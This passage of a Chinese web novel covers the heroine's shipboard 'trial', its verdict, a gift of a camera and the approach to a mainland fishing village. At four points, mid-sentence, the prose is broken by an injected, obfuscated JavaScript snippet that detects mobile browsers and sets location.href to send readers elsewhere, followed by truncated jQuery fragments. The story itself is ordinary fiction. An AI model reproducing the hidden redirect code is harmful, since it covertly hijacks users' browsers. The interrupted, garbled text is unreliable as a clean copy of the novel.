菲尔兹继续道,“大熊星座号当日便派遣哈撒的同胞弟弟——船民纳姆——执行该项任务。十小时后,纳姆将昏迷状态下的温知和小姐带到船上,大熊星座号随即向指令发起人哈撒先生询问下一步计划,就在这个时候,太阳船上传来了哈撒先生的死讯。并且,他在生前并未留下关于如何处置温知和小姐的意见。 “经过多方商议,大熊星座号将温知和小姐以临时船客的身份安置下来,并在温知和小姐在船上的居住时间达到十天时,依照惯例,将温知和小姐列入正式船民名单,享有与正式船民同样的权利。 “至此以后,大熊星座号对温知和小姐的处置方式并未发生任何变更。该二级附属船承认她为船民。因此,本次‘庭审’也是以正式船民的规格展开的。 “背景介绍完毕。现在,‘庭审’正式开始。” 阳光洒落在这间陈设简陋却气氛肃穆的船舱。 “庭审”进入正式阶段,场上的听众们各个都来了精神,竖起了耳朵。可庭内的英文又听不懂。于是纷纷不自觉地凑向了坐在一旁的戴尔蒙徳管事,指望着对方压低声音把事情都翻译翻译。 后排一直窸窸窣窣的,唯有坐在最前面的青年独自闭目养神。 菲尔兹站在最中央,温知和面对他坐着,气氛冷硬,一问一答。 她这个位置一点也不好,不知道他们是不是故意的,不仅正朝着菲尔兹,而且还正对着窗外的太阳,极为刺眼。她要抬头盯着菲尔兹,就不得不同时朝着太阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13952450|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睁眼。躲开太阳低头,就天然弱了气势。 菲尔兹说,“温小姐,据你所知,哈撒是一个什么样的人?” 温知和道,“我不认识他。” “那他为什么要点名要找你?” 这真是一个耳朵都快听出老茧了的问题。温知和冷着脸说,“我不知道。要问,你去问他本人。” 菲尔兹无动于衷,接着问下一个问题,“那么,从入境马来西亚到登船的一个多月里,你身上有没有发生过什么奇怪的事情?” “麻烦定义一下什么叫‘奇怪的事情’。” “任何让你觉得有可能与哈撒有关的事情。” “没有。”温知和答得不假思索,“我根本就不认识他,怎么知道什么事和他有关,什么事和他无关?” “那你有没有见过什么可疑的人?任何意义上的‘可疑’都可以,鬼鬼祟祟的、偷东西的、穿着奇装异服的……” 几只海鸟从窗外飞过,刹那间遮住了太阳,温知和脸上一暗,又亮了起来。窗外的大海无边无际,大熊星座号乘风破浪,航行得很平稳。 ——海里的船? 她忽然想起一件事。 菲尔兹没有错过她神色上的变化,立马抓住了这个“破绽”,追问道,“温小姐,你是不是有什么事情要交代?” 温知和道,“我想起一个鬼故事。” “……嗯?” 温知和拍了拍桌子,“就是‘雾海鬼船’的故事啊!” 那是两个多月前在兰卡威市区的烧烤店聚餐的时候,义工伙伴们围在一起,讲着各自国家最出名的那些鬼故事。那时吉赛尔讲了一个当地传闻。 ——它并不是一个历史悠久的民间传说,而是近年来才有的,目击者甚众,虽然在船的外形、船的来由以及与船接触的经历等话题上,几乎每个人都有一套自己的说法,但有一件事是确切无疑的。 ——雾海鬼船,是真的出现过。 ——有时是在午夜。村民远远看见天空中出现血光,崎岖的船影仿佛从深海中爬出。有时是在大白天。近岸处驶过怪异的古船,上面载满了财宝,连船身下的海水都被映成了一片流转不定的金光。 ——当时兰卡威市内还有点不太平,据说有游客失踪了,沙滩上冲上来不少游客遗物…… 温知和恍然大悟,“原来那指的就是你们啊!” 像悬疑片里开头一射出便忽然消失的子弹在很久以后终于复现,击中了什么地方,让人明白了它最初的使命。事情串起来了。原来在那么早的时候,后来发生的一切事情的影子便如同一个预言,短暂地在她眼前闪现过。 菲尔兹道,“……外界的确有类似的传言。” 温知和大为好奇,“都是真的吗?载满财宝的古船?听上去像神话故事。” “没有那种东西。” “那,血船?出现的时候,天空会变红的那种船?” “……也没有那种东西。” “那还有……” 温知和兴趣来了,像个好奇的游客,不自觉地开始问东问西——完全不在“庭审”的状况里。 菲尔兹逐渐黑了脸,好几次试图把话题拉回正轨,可毫无成果。问话对象自己倒是提了一些奇怪的问题,但这些问题反而印证着,她的确可以说是什么也不知道。 他脸上不时出现沉思的表情,或许是开始怀疑当初哈撒下令抓人,有没有可能说错了名字。 他清咳一声,决定暂停攻坚,换一条路走。 “温知和小姐,我暂时没有什么问题了。” “噢……” “归根结底,你现在之所以会站在这里,完全是因为一级巡察官哈撒先生要找你。所以,关于如何处置你……其实也取决于他本人的情况。” 温知和猜不出他这番话的确切用意。暗自思忖间,下意识地朝青年看了一眼。 他睁开眼睛了。这让她心里微微提了起来。因为这像是意味着——真正的好戏这才刚刚开始。 然而,她正严阵以待,菲尔兹却道,“所以现在我们中场休息一下吧。” “……?” 24. 第二十四章 “庭审”中途休息,温知和到外面走廊上去吹风。平日里空荡安静的顶层,今天来了不少围观的人,她走了不过两步,便知道看热闹的视线至少有八成都在她身上。 想来大家都已经知道她是今天这场“庭审”的被审判人了。不过,不知道他们究竟知道多少。她的来历在船民们眼里一直都神神秘秘的,今天被卷进“庭审”,官方层面透露的风声也许准确,也许失真,再加上口口相传、以讹传讹、三人成虎……温知和确信不少人看向她的目光里存着恐惧,仿佛她是妖怪。 海风吹得人心烦。温知和走到栏杆边上往下看,希望自己真是妖怪,能直接跳进海里,觅着头游回家去。 “喂……叽和老师。” 温知和朝着声音看过去,只见马德鲁一脸犹犹豫豫的样子,背着手站在不远处。 “干嘛?”她说。 马德鲁吞吞吐吐半天,英勇就义似的问:“你……你真的杀了哈撒吗?” “……” 她就知道。谣言真是离谱的玩意。 她说,“你觉得我能吗?” 马德鲁认真想了想。“我觉得你不能。” “那不就得了。” “那、那你真的是女巫吗?” “……” “呃,不是真的吗?” “这艘船上到底都传了些什么?” “呃……” 看他吞吞吐吐的样子,就知道事情没有最离谱,只有更离谱。 隔了一阵,孩子又开了口,这一次的神情有点认真。“叽和老师,你真的不认识哈撒吗?” “完全不认识。” “我很喜欢他的,”马德鲁趴在栏杆上,手臂把脸蛋挤得有点变形,声音也变得嗡嗡的,“他人特别好,跟谁说话都很有礼貌。而且他很聪明,嗯,不是说书看得多的那种聪明,我是说他特别……擅长应对生活,我们周围邻里不管是谁家的这个东西坏了、那个东西坏了,还是人和人之间出了什么问题,他总是能给别人出主意。” 今天来围观的人这么多,或许就是因为,牵扯其中的这个人还在船上的时候真的非常受大家欢迎。 马德鲁说着说着,话题又转到了他姐姐身上。毕竟,哈撒和他姐姐都是从大熊星座号上去了太阳船的人。如同小泥船上飞上天的两只凤凰。 可是…… 温知和想起,马德鲁的姐姐黑月亮,也去世快一年了。他至今都不知道。她又想起他之前说过一句:“进了庭审室的只有两种人,一种是去太阳船的人,另一种则是死人。” ——不。其实都是一样的。 以被审核者的身份进了庭审室的人,都是死人。想到这一点时,温知和心中不由泛起一阵寒意。 就在这时,庭审室的方向传来一阵银铃声。中场休息结束了。 - 牛皮纸文件夹在菲尔兹手中发出明亮声响。他用这声响将庭上的杂音压了下去,后排的人们不再交头接耳,注意力全在他手上。 文件取出来了。那不过是薄薄的几张纸。 菲尔兹讲话时完全是公事公办的语气。 “本文件为对前一级巡察官哈撒的调查报告,所有内容均已由多方核实考证,且通过了太阳船最高执行委员会的集体确认。以下为具体内容。 “被调查人哈撒于世界通行时间二零一四年五月六日通过正式庭审获取了太阳船的登船资格,同年六月正式登船,注册成为太阳船船员。自那以后,他在今年以前的所有考核中,成绩均为……” 他刻意顿了顿。 “极差。” 隔了几秒,当后排的船民们从戴尔蒙徳管事口中听完了那几段话的翻译,顿时便起了一阵小小的议论声。 菲尔兹继续道,“在很长的时间里,被调查人哈撒在太阳船上都是一个边缘人物,只能担任洗碗工、卫生间清理员等职务。由于考核表现常年不甚理想,他的直属管理人曾多次对他进行教育与警告。” 紧接着便是一段又一段哈撒受警告、被惩罚的记录,听上去相当狼狈。人们越发骚动起来,不停地交头接耳。哈撒是从这艘船上走出去的最优秀的人之一。 念完这些负面记录,菲尔兹语气不变,话锋却一转。“进入世界通行时间二零一七年后,这一切都发生了极大的转变。哈撒成了太阳船上的当红人物,不断跳级晋升,仅仅五个月,就在前任一级巡察官去世后补上了这个高层空缺。” 紧接着便是一连串几乎闪闪发光的荣誉记录,后排旁听的船民们起初静了下来,接着便时不时响起不合时宜的掌声,还有笑声。 场上气氛一再转变,菲尔兹都全然不受影响,念着文稿的声音始终很平和。温知和认真听着,不愿放任何一个细节,心里却越来越没底。 听来听去……这些东西跟她到底有什么关系? 她好几次瞟了不远处的青年。他手肘撑在桌子上,十指轻轻交叉,视线一直落在菲尔兹身上,凝神听着对方的讲稿。 菲尔兹手中还没念的稿子依然很厚。可是,换页换到手中的最新一页时,他的语气却忽然变了变,透露出一种到尾了的样子。 他说,“接下来是关于哈撒近期活动的报告。由于多数内容涉及太阳船机密,因此,本次庭审无法将具体事项一一列出。在此,只宣读结论。经由太阳船最高执行委员会认定,被调查人哈撒——” 他又刻意顿了顿。 “是一个可耻的背叛者。” 几秒钟后,庭内听众席上起了一阵轩然大波,戴尔蒙徳管事没及时把喧哗声压下去,因为连他也在惊异。 菲尔兹敲了敲桌上的铜钟。咚——咚——咚——钟声回荡,如同一只无形的大手,压抑住了所有的声音。 庭内静下来,菲尔兹在中场休息后第一次将视线放在了温知和身上。 “温小姐,如你所听,与你有牵连的哈撒是一个危险系数非常高的罪人。” “我不认识他。” “这只是你的一面之词。” 菲尔兹脸上露出微笑。这个笑很真。越真,越让温知和觉得毛骨悚然。那是一种你明明与对方没有任何交集,对方却偏偏就要至你于死地的恐怖。 他说,“事实上,温小姐——你是认识哈撒,还是不认识哈撒,是他的朋友,是他的敌人,还是一个纯粹的路人,都已经不重要了。” 如同无数片碎玻璃砸向地面,温知和脑海中闪过一个又一个念头,但面上只平静地说,“为什么?你不是说,如何处置我要取决于他本人的情况吗?” “没错。他的情况你已经听到了,我们对此作出的决断很简单:不管跟他是什么关系,尸体都是最保险的。你们中国不是有句古话吗?宁可错杀一千,不能放过一个。” 温知和瞬间如坠冰窟。对方的视线冷硬到了极点,这显然不是他手上第一次沾人命,也显然……没有任何回旋余地。 这场审判从一开始就是不公平的。要置她于死地的人既是原告,也是控方律师,同时还直接兼任了法官本身。连规则也完全是他们说了算。 菲尔兹正要开口说话,寂静里忽然响起指节敲了敲桌面的声音。 青年说,“说到宁可错杀,不可放过……我想起一件事。菲尔兹,你介意我们单独聊一聊吗?” “……”菲尔兹张了张口,像是要叫出一个称呼,但又咽下去了,“您是说,在庭审判决之前吗?” “是为了你好呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963857|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “……” 庭内的其他人面面相觑,温知和一身冷汗,完全摸不清状况。青年就这样单独和菲尔兹出去了,一前一后的身影从窗外经过,不知是去了什么地方。 时间一分一秒地过去,后排的听众们又窃窃私语起来,声音越来越大。终于,在将近半个小时后,庭审室的门在一片吵嚷声中再次打开。 青年先走进来,径直就回了自己刚才的座位。菲尔兹在后面慢慢跟上。他进门之前的一两秒钟里,温知和似乎看见他的脸色沉得几乎可以滴水。但他一走进来,那种阴沉很快便收敛起来了,短暂得像是错觉。 他快步走向后排的听众席,用马来语与领头的戴尔蒙徳管事说了些什么,后者耸耸肩,一副很无所谓的态度。却有包括教室里的几位马来老师在内的温知和打过交道的部分船民自己主动站了起来,叽叽咕咕地说了很多,说到情绪激动处,手还比划了起来。时不时还往她这边看上一两眼。 菲尔兹走回最中央的审判位置,再一次敲了敲铜钟。咚——咚——咚——这一次,钟声不过是走个过程,听众们早已自顾自安静下来了。 他说,“本次庭审已经临近结束,下面总结有关内容。” “使者、主审官、各位证人,现在是世界通行时间二零一七年十月十二日,上午十一点四十三分,大熊星座号第三十二起‘庭审’即将结束。下面陈述本次庭审要点。” “被审判人温知和小姐来自陆上世界,因前一级巡察官哈撒的指令被带到大熊星座号上,经长期观察、多方核验,温知和小姐与哈撒互不相识,与海上各方势力也并无瓜葛……” 温知和凝神听着每一个字。明面上,每一个字都是有利于她的;暗地里,菲尔兹阴沉的脸色也说明事情的发展的确不会如他所愿。而且,刚才他去和后排听众们说话的时候,有几位马来老师朝她看过来的眼神里,是宽慰的意思。他们会帮她。 坐在这里胆战心惊了几个小时,不知什么时候,外面的太阳已经很盛了。自窗外照射进庭审室的阳光明亮而炽烈。 她的眼睛微微亮起来。 “……前一级巡察官哈撒生前的背叛行为已被查证,所有与背叛事件相关的人员都已经被逮捕调查,其中并不包含被审判人温知和小姐。” “温知和小姐现在是二级附属船大熊星座号的正式船民。登船之初,温知和小姐有过不少工作上的失误……” 温知和不自觉地咳了一下。声音很低,除了她自己没人听见。 好在当初为了试探陌生环境而故意搞砸的那些事都不是大事,这会儿的负面影响好像也不大,因为菲尔兹不过是一句话带过,接下来就说—— “但总体来说,温知和小姐没有与人结仇的记录,也没有品行上的过失,根据听众席的证言,她工作认真、负责,也的确为大熊星座号做过不少贡献……” “在近期上贡时,也拿出了具有相当价值的贡品……” “……综上所述。” “本次庭审的判决结果为……” “解除对被审判人的调查,维持其在大熊星座号上的正式船民身份。一切照旧,不做变更。” 咚—— 菲尔兹敲了敲铜钟,一锤定音。一起莫名其妙的庭审案子就这样结束了。听众席上传来稀稀拉拉的掌声。人们又开始交头接耳,议论纷纷,许多视线落在温知和身上。 一切都结束了。不会再有秘密的调查,不会再有性命之忧。哈撒、纳姆……那些莫名其妙的名字带来的阴影正渐渐散去。 她的表情依然很平静,只是刚才的亮光暗了些。 她想,还是自己太贪心了,在那一刹那间竟然以为……他们会放自己回家。 25. 第二十五章 夜空晴朗。 甲板上最适合观星,四下里的大海都是黑漆漆的,没有一丝杂色,只有头顶上的星河璀璨无际。 温知和趴在栏杆上等了没多久,身后果然传来脚步声。 她头也没回,仍看着星星。“谢谢你。” 青年笑道,“不客气。” 他走到她身边来,她没忍住,还是低下眼睛往他那边微微看了一眼。因动作太小心,看得并不全。只能看见他双手搭在栏杆上,修长的手指轻轻敲着金属栏杆。 手里是空的。少见。 “你没带烟?” “我知道你在这。” “噢……” 她话音发出来,就听见他在笑。她那几个语气词,他总是能料到。 温知和有一阵子故意没反应,仰着脖子看天,假装自己很平静。海上的夜风从两个人中间穿过去,陈旧的船时不时发着低低的嘎吱声响。 “哎。”她喊了一声。 “怎么了?” “你……庭审的时候出去跟菲尔兹说什么了?” “你应该也看出来了,这里并没有什么成体系的法律,所谓的‘庭审’大多时候只是走个过场。你和哈撒没有关系,菲尔兹却要‘宁杀勿放’。我只是提醒他,他自己在太阳船上有千丝万缕的关系,牵涉进去的事情也不少。万一谁要效仿他,对他也来一个‘宁杀勿放’……那可就推脱不掉了。” “听上去像威胁啊。这样威胁他,不会有危险吗?” “他明天就要回去了,不会对你有什么影响。他最开始来也不是针对你。哈撒的事,从头到尾都只是太阳船上争权夺利的一个角落,已经没有人可以再拿你做文章了。” “我是说你,”温知和打断青年,又顿了顿,用力回想着自己看过的种种犯罪片、警匪片,思索类似威胁情形的种种后果,可知道的信息太少,到底是想不明白,“你这样……感觉会得罪他吧?不会有问题吗?” 青年一时没有说话,大概没想过她思索的原来是他的处境。 两个人的手肘都靠在栏杆上,温知和轻轻撞了一下他,“说真的。不会得罪他吧?” 青年一笑,“不知道。无所谓吧,不差他这一个。” “听上去跟你有过节的人很多啊?” “我既然还活着,那就还不算多。” “……” 温知和不自觉地想起他锁骨前那一片不知会往下延伸到什么地方的伤痕,但今天他穿了高领的外衣,倒是看不见了。 青年道,“我的意思是我的处境还算安全。你不用,”他顿了顿,声音一低,“因为我想太多。” “……” 温知和正要出声,又想到他那副什么都预料到了的表情,微微低下头去,长长的黑发遮住了侧脸。硬是把那个“噢”字咽了回去。 这个人一直都神神秘秘的,让人捉摸不清。身下的大熊星座号,整个的海上的世界,就像一幅用马来文字绘制而成的巨大的怪画。而且,还是一副活的画。线条杂乱,意义含混,时时刻刻变幻不定。船上的人们,还有身边的这个人,都是这画中的一部分,如墨点、线条一般每日在画中穿行游走,留下各自的尾迹。 只有她是旁观的看画人。即使手捧画卷,眼睛凑近了用力地看啊看啊,也看不出半点端倪。 陈旧的船只在夜色中航行,仍时不时发着低低的嘎吱声响。海上的夜风从两个人中间不断地、不断地穿过去,好像一面无形的墙。 温知和自己没觉得冷,身上却忽然一暖,鼻间嗅到不属于自己的、清冽干净的气息。青年把外衣披给她了。没了高领的遮挡,他脖颈下的伤痕在昏暗的船灯里像一条条向下爬行的阴影。 修长的手指仍在她肩上,动作不轻不重,在给她把衣服盖稳。 温知和耳朵有点烫,不自觉地开始左顾右盼,“我不冷。” “风挺大的。”他说,“你还记不记得我说过,‘庭审’过后要送你一件东西?” “记得。”她没看他,却把手伸了出去,“在哪儿?” “在外衣口袋里,自己拿。” 温知和双手一齐伸进了身上衣服的两侧口袋。一侧是半开的烟盒子,另一侧则是凉凉的金属触感。 小心握紧了,拿出来一看,是一台旧相机。是她在交易岛的市集上多看了几眼的那台索尼CCD。 青年道,“我记得你喜欢摄影。不过,这里最紧俏的向来是食物、枪械、药品一类的东西,相机很少能流进来。这个,就将就一下吧。” 温知和已经很久没有摸到过相机了。CCD的重量落在手里,有一种实感,仿佛相隔已远的真实世界露出一角,终于被她握在手上。 她开机,老旧的屏幕在两秒钟后缓缓亮起,然后,映现出一双脚。那是她自己的脚,镜头正好对着她的足尖。 她抬起相机,把它对准了不远处的船灯。老船,旧电灯,昏黄的光影洒在夜色里。相当漂亮的构图。 咔嚓。她按下快门。在这一瞬间,仿佛回到了从前的世界。 温知和笑着抬起头,对一直凝神望着她的青年说,“谢谢……” 说完了,好像一句还不够,又补了一句,“谢谢!!” 她把它拿在手里翻来覆去地看,喜欢得不行,可是,除了一句谢谢,居然说不出别的什么。 ——为什么要送我礼物? ——它会不会很贵? ——我要不要送点什么还给你呢? 她抬头看着他,他低头对她笑,“喜欢就好。时间不早了,回去休息吧。” “也是……诶等等!” 温知和又举起相机,这一次,镜头正对着青年。“我给你拍一张吧。” “我?” “是啊。放心,我很会拍人像的。你什么也不需要做,听我指挥就行。” 她眼睛望进镜头里,上挪下调,放大缩远,寻找着合适的角度。眼前的画面里,黑发青年嘴角一直噙着笑,好像不太有所谓,只是倚着栏杆,随她自己玩。 她忽然找到了。 就在这个角度,就在这个瞬间,有风从青年背后吹过来,他微微低下了眼睛,不远处昏黄的船灯照过来,在地上拖出长长的影子。 画面定格。 温知和把照片调出来给他看。“怎么样?” 他没评价,只是嗯了一声。 “……不喜欢?” “你喜欢就好。” 温知和抱着相机瞅了他一阵。看他神色,听他语气,他的意思的确是如果她喜欢,那么他也可以喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977402|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢。不过这句话在近年来的网络上有点被玩坏了。 青年大概也察觉到了什么,问,“怎么了?” “你喜欢就好,”温知和歪着头说,“这句话现在在网上的主流意思是——‘你的品味很糟糕,但是算了,我懒得管你’。” “我没有这个意思。”青年微微停顿一下,像是在脑海里揣摩着这句话。又说,“也对,语言会变,冻结的只是我对它的记忆。我猜,很多日常用语这些年里的意思也变了不少吧。” “嗯。” 温知和掰着手指回想着近年来流行的网络梗和发生了词义变化的日常用语,想到一个说一个,有时候还故意考人,让青年猜它们现在都是什么意思。他起初猜一个错一个,让她笑个不停,但越往后,他猜得就越准确,仿佛摸中了其中的规律。 毕竟都在汉语里,词义句义再怎么变,也逃不出原来的意思太远。就像叶子即使短暂飞离了树枝,最后也会落在大树脚下。叶落归根。 明明前面已经有了类似道别的话,说要早点回去休息,可话匣子一开,好像就收不住了。 不知不觉,两个人又聊了很久。青年的外衣一直披在温知和身上,挡住了随时间越来越晚而渐渐变凉的夜风。 温知和的声音渐渐低下去。从故乡的语言生发出来的话题,来来去去,都和家有关。她又想家了。 她趴在栏杆上,不自觉地抱紧自己。“好想回家啊……” “会的。” “……嗯?” 温知和一时没反应过来,几乎以为是听错了。 青年又说了一次,“会的。” 温知和偏过头去看着他。他没有看她,只是在看海,但神色是认真的。 在这个奇异诡谲的海上世界里,他比她扎根深多了。先前他说保持无知的状态对她来说最安全,最后果然是这样,正因为与一切事情都毫无瓜葛,她躲过了“庭审”这一劫。现在他又说,她会回家的。 温知和试探着说,“你有什么安排吗?” 青年把手指竖在嘴边,既没有摇头,也没有点头。大概就同先前一样,她什么都不知道反而会比较顺利。静静的船灯从夜色里照过来,在青年侧脸、脖颈、手指的轮廓上勾勒出一层光晕。 在温知和反应过来之前,手底下已经有了温热的触感。是她主动捉住了他那只手。骨节分明,形状漂亮,但皮肤上略有些粗硬的茧。 她眼睛亮亮地,望着他说,“一起……回我们的故乡吧。” 青年转头同她对上视线。这一下子背了光,他脸上有一片阴影,看不清眼睛里的情绪。她感受到他被她捉住的手指微微动了动。 但他一直没有说话。 隔了一阵,他转回头去看向天上的星星,些许昏黄的船灯光照在他侧脸上,他神色如常,左耳下的赤红耳钉微微在晃。 一点铺垫也没有,仿佛她刚才根本没说过那句话似的,他岔开了话题,“你喜欢的北斗七星。” 温知和缓缓松开手,顺着他的视线朝着天上看去。 海上深夜,满天星斗。 从前的星空在她眼里只是一片碎光点,自从被他指过北斗七星的位置,就像认识了一个人一样,一眼就能在星海里看见。 一闪,一闪,灿烂的光。 26. 第二十六章 温知和次日早早去了教室,还带上了相机。孩子们见到新鲜事物,好不兴奋,这个要摸摸看,那个要瞧一瞧,还有的一个劲儿往镜头前凑,就想让她拍一拍自己。 这些长在海上的孩子,平日里过的是简陋辛劳的生活。只见过大海、星星、各式各样的鱼,什么手机、电脑、高楼大厦都是只在传闻里的事物。 一台相机,哪怕仅是相当古早的CCD,也像奇珍异宝。 温知和给他们拍了很多很多照片。有单人的,有多人的,有的孩子在镜头前会格外拘谨,有的会分外夸张,咧着嘴不停地笑。 她一次次按下快门。 与从前相比,她心里已经有了不一样的感觉;她今天之所以有心情带相机来,也正是因为这种感觉。 ——她就要回家了。 虽然不知道究竟是什么时候,也许还有好几个星期、好几个月,但青年既然说了“会的”,那就一定会实现。 她心情畅快,每一次按快门,都仿佛是告别前留作纪念。每一张照片,都仿佛是在艺术馆里浏览的画作,仿佛随手翻阅的书里的一页——她是过客,不会永远被困在这里。 马德鲁迟到了,已经拍得热火朝天了的时候才进教室,一来就兴冲冲地凑过来,又是揽着小伙伴的肩摆POSE要温知和拍他们,又是哇啦哇啦说个不停,试图卖弄一下自己的“学识”。 “我懂,”他说,“这叫拍立得。” 温知和边拍边给他科普拍立得和手里这台CCD之间的差异,他睁着大眼睛没听太懂,只记住了拍立得拍完了立马就有照片,CCD想要拿照片还得找地方去印。接着,温知和便看见他扭头用马来语去跟周围的孩子们手舞足蹈地说了一大通,时不时还指指她手里的相机。他说的有多少是真的,有多少是编的,温知和听不出来。但孩子们显然有被糊弄到,纷纷朝马德鲁露出崇拜的表情。他得意死了。 教室门一开,又有人进来了。是马来老师们。时间差不多了,大家各就各位,都要正式开始今天的工作了。 温知和朝着在“庭审”上帮她说过话的老师们露出感激的神色,还用她学的不多的马来语,比划着向他们说了谢谢。他们露出笑容,也比划着说了些什么。不需要马德鲁的翻译也知道是些宽慰的话。 马来老师们招呼着到处乱跑的孩子们回到座位上,然后,其中一位老教师站在最前面说了一段话,像是通知了些什么。不少孩子露出闷闷不乐的神色。 教室的轻快气氛像是被吹干净了,有一种沉闷感。 船上的事,温知和永远是后人一步知道的。戴尔蒙徳管事好像从来想不起这艘船上还有个不懂马来语的人。 她戳了戳马德鲁,小声地说,“出什么事了?” 马德鲁打着呵欠。“后天要靠岸了。” “啊?这么快又上贡?交易岛?” “不是,是在阿甲村。” 温知和从来没听过这个名字。大概马德鲁也猜到了,接着又向她解释,“阿甲村是一个渔村,我们有的时候需要到那里去补给东西。它在大陆上,跟……”他停了一下,手往窗外指了指,但指的不是大海,而是大海彼岸很远很远的地方,“‘外面’,是联通的。以前我家就在那里……” 马德鲁仍叽叽咕咕地说着,温知和有点没听进去了。她的想法只有一个。 ——阿甲村,在大陆上。与外界相连。 难道那就是回家的机会? 青年说“会的”,他打算利用的就是大熊星座号这次在阿甲村的靠岸吗?她一直以为回家仍是好几周、好几个月之后的遥远的梦想,可是,原来就只剩两天了吗? 温知和的心一下子悬了起来。有点像是在往上飞,可是又怕踩不到地掉下来,不敢飞得太快。想信又不敢信,怕失望。 时间忽然间变得度秒如年。 她盼望着下课,去找青年问个清楚。哪怕他依然神神秘秘地不肯说具体计划,至少也要他确认一件事—— 回家的路,真的就在两天以后吗? - 青年平时在船上一向行踪莫测,温知和从来没有“找”过他,都是偶遇。一下课,她连饭也没顾上吃,就去了他最常出现的甲板上,人来人往,到处都没有他。 夕阳渐渐落下去了。 她的视线一直在人群中逡巡,他没出现。 直到夜幕降临,船灯亮起,她在甲板上等到觉得冷了,他还是没有来。船不断地往前走,划出两道白白的水浪,向后哗啦啦地流过去,好像时间。 温知和呼出一口气。 船上没什么娱乐活动,人们睡得早,这会儿甲板上已经很安静了。她回过身去,抬头往上望。一。二。三。他说过他住在顶层。 那一片都是黑漆漆的,一点动静也没有。 就在她视线里,忽然,那片黑暗里有一个房间亮了一盏灯。昏黄的,和别处没什么不一样。她心里像是漏了一拍。 他会在那里吗? 顶层,似乎也没有别人住了。 温知和往前倾了倾身体,在一瞬间里有点想上去找他。但很快又回过神来。大晚上的,好像不太妥当。在外面见面还好,属于公共场合;在房间里……要不还是算了。 她就这样一直仰头看着。没多久,那盏灯灭了,顶层重新回到一片黑漆漆的样子。她也就回房间去了。 - 过了一晚,天还没亮的时候温知和就听见外面有动静,打着呵欠,半推开门探出个脑袋看了看,到处都又忙起来了。上上下下,搬东西的,数东西的,腾箱子的,大概是在为靠岸阿甲村做准备。 她匆匆洗漱完便出了门,一路逆着人群走,打定了主意要趁着白天到顶层去找人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993064|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却半路里就碰上他了。 青年正伏在栏杆上打电话,微微有点自然卷的头发像是刚洗过,还带着水,发尾不时凝出晶莹的水珠子往下掉,打湿了身上的白衬衫,晕染出阴影。 他没有严谨地把衬衫扣子扣到最后,上面好几颗都闲着,领口敞开,露出紧实有力的胸膛。这是温知和第一次看见青年皮肤上的那些疤痕在锁骨以下的走向。一道又一道,大多在胸膛附近就止住了,留下狰狞的尾巴;却也有几道继续蜿蜒往下,又被衣服遮住了。 青年正和电话那头说着话,一偏头就看见她了。黑亮的眼睛一动不动地盯着她,手上却没有任何表示。 她怕打扰他,也不敢走过去,就站在原地无聊地等。 他的电话很快就打完了。不知是原本就这么短,还是因为她在旁边,所以提前挂断了。 青年朝温知和伸出手,轻轻动了动手指示意她过去,“怎么了?” 温知和三步并两步,在他身前踮起脚,身体前倾凑过去,压低了声音,“问你件事。” “什么事?” “听说我们明天要在一个叫阿甲村的地方靠岸。” “所以呢?” “听说阿甲村和外界是通的。” “所以呢?” “所以我们是不是……”她用手比划了一下,右手的食指和中指当作两条腿,比出了一个溜走的小人。 青年一伸手就捉住了她的小人。“不是。” “啊……” 温知和踮起来的脚一下子掉回了地上,心想,还好之前也没抱太大希望,就是问一问。 青年正色道,“阿甲村不是什么好地方,到了那里,不要随意走动。” “噢……” 看她装作若无其事,却忍不住低着头在眼睛里露出失望的样子,青年的眼神在她看不见的时候变得柔软。捉着她手的动作很轻,像梳顺烦恼一般,修长的手指不自觉地将她蜷在一起的几根指头分开了,十指相扣,温度相贴。 “别着急。”他说。 “嗯……”温知和应了这么一声,决定要振作起来,一抬头才后知后觉他们牵着手。他掌心很暖。在她视线下,他把她牵得更紧了些,然后,松了手。 一时之间,谁也没有说话。 忽然楼下的甲板上传来小小的喧哗声,温知和看下去,只见不少船民朝着天边的云彩指指点点,大声说着什么。 “出什么事了?”她问身边的人。 